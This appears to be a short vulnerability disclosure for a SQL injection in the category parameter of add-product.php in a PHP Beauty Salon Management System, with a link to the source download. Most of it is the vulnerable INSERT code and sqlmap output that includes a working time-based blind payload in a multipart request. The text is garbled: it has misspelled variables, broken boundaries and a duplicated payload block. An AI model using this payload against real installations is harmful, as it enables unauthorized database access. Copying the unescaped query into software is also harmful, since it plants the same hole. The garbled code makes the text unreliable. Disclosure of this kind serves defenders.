SQL injection vulnerability exists in category parameter of add-product.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users.

```
$category = $_POST['category'];
$description = mysqli_escape_string($con, $_POST['description']);
        $sql = "INSERT INTO product (name, price, stock, image, cetegory, description) VALUES ('$name','$price','$stock', '$image','$ategory','$description') "; $rum_sql = mysqli_query($con, $sql);
sqlmap identified the following injection point(s) with a total of 273 HTTP(s) requests:
Parameter: MULTIPART category ((custom) POST)
     Type: time-based blind
     Title: MySQL ≥ 5.0.12 RLIKE time-based blind
Payload: ______YWJkMTQzNDcw
Content-Disposition: form-data; name="category"
0Z' RLIKE SLEEP(5) AND 'KJwl'='KJwl
              -YWJkMTQzNDcw
Content-Disposition: form-data; name="description"
             —YWJkMTQzNDcw
Content-Disposition: form-data; name="image"; filename="file.txt"
Content-Type: text/plain
             -YWJkMTQzNDcw
Content-Disposition: form-data; name="name"
pHqghUme
             -YWJkMTQzNDcw
Content-Disposition: form-data; name="price"
              -YWJkMTQzNDcw
Content-Disposition: form-data; name="stock"
           ----YWJkMTQzNDcw
Content-Disposition: form-data; name="submit"
            -YWJkMTQzNDcw--
```

```
Parameter: MULTIPART category ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind

Payload: ------YWJkMTQzNDcw

Content-Disposition: form-data; name="category"

OZ' RLIKE SLEEP(5) AND 'KJwl'='KJwl

------YWJkMTQzNDcw

Content-Disposition: form-data; name="description"

555

------YWJkMTQzNDcw

Content-Disposition: form-data; name="image"; filename="file.txt"
```

Content-Type: text/plain

YWJkMTQzNDcw
Content-Disposition: form-data; name="name"
pHqghUme
YWJkMTQzNDcw
Content-Disposition: form-data; name="price"
1
YWJkMTQzNDcw
Content-Disposition: form-data; name="stock"
1
YWJkMTQzNDcw
Content-Disposition: form-data; name="submit"
submit=
YWJkMTQzNDcw
u .
Source Download:
https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/